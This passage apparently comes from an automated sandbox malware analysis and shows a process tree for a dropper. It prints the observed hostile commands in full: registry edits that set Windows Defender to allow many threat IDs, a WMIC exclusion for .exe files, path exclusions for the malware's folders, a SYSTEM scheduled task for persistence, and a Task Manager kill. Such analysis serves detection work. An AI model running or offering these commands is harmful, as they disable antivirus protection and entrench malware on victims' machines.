        6⤵
        Modifies firewall policy service
        Windows security bypass
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Windows security modification
        Checks whether UAC is enabled
        Drops file in System32 directory
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2128
      - C:\Users\Admin\Pictures\tf9YZVInmohOZ15nUjtBP60Y.exe
        
        "C:\Users\Admin\Pictures\tf9YZVInmohOZ15nUjtBP60Y.exe"
        6⤵
        Executes dropped EXE
        
        PID:5948
        
        C:\Users\Admin\AppData\Local\Temp\7zSE913.tmp\Install.exe
        
        .\Install.exe
        7⤵
        Executes dropped EXE
        
        PID:3084
        
        C:\Users\Admin\AppData\Local\Temp\7zSEB65.tmp\Install.exe
        
        .\Install.exe /NQHxdidUQs "385118" /S
        8⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Enumerates system info in registry
        
        PID:4528
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        9⤵
        
        PID:3340
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        10⤵
        
        PID:3388
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        11⤵
        
        PID:2556
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        12⤵
        
        PID:3824
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        10⤵
        
        PID:2768
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        11⤵
        
        PID:5712
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        12⤵
        
        PID:5148
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        10⤵
        
        PID:1296
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        11⤵
        
        PID:2588
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        12⤵
        
        PID:1976
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        10⤵
        
        PID:5684
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        11⤵
        
        PID:5560
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        12⤵
        
        PID:1292
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        10⤵
        
        PID:4700
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        11⤵
        
        PID:3060
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        12⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1220
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        13⤵
        
        PID:1460
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        9⤵
        
        PID:1068
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        10⤵
        
        PID:6108
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        11⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4516
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        12⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5712
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bqGGCwwWIommTRgeuN" /SC once /ST 21:51:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSEB65.tmp\Install.exe\" 1g /ZZzdidCfMv 385118 /S" /V1 /F
        9⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:1292
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bqGGCwwWIommTRgeuN"
        9⤵
        
        PID:3044
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bqGGCwwWIommTRgeuN
        10⤵
        
        PID:4072
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bqGGCwwWIommTRgeuN
        11⤵
        
        PID:1648
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4528 -s 1080
        9⤵
        Program crash
        
        PID:3428
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
        5⤵
        
        PID:2000
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3200
- - C:\Users\Admin\AppData\Local\Temp\vir_8f67239b-dc79-48ab-8a0d-55b6c5eabf76\wimloader.dll
    wimloader.dll
    3⤵
    - Executes dropped EXE
    PID:5692
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\wimloader_c0e50eb2-07e6-4ce8-825a-3c00d02cd30d\caller.cmd" "
      4⤵
      PID:4260

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2396

C:\Windows\system32\efsui.exe
efsui.exe /efs /keybackup
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2304

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 5272 -ip 5272
1⤵
PID:4176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:4976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:5620

C:\Users\Admin\AppData\Local\Temp\7zSEB65.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zSEB65.tmp\Install.exe 1g /ZZzdidCfMv 385118 /S
1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3280
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:5388
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:1464
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:2808
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:1528
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:2932
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:3756
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:5296
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:1132
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:2556
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:5664
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:3824
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:5796
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:5576
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:784
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:396
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5988
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:3000
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3116
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3676
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:5296
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4884
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5292
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4048
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5972
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4400
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1968
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:612
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2172
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5676
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5788
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2260
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5888
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5248
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1380
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5592
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5552
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6108
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4308
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5968
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5976
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5828
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:784
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3060
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5388
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1220
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6072
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2548
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JipyTrDkU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JipyTrDkU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YLgKyOFzWxOqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YLgKyOFzWxOqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\krdeMCnRKomDOvwVunR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\krdeMCnRKomDOvwVunR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nFLFFjqrQPUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nFLFFjqrQPUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tegRANPZONsU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tegRANPZONsU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows 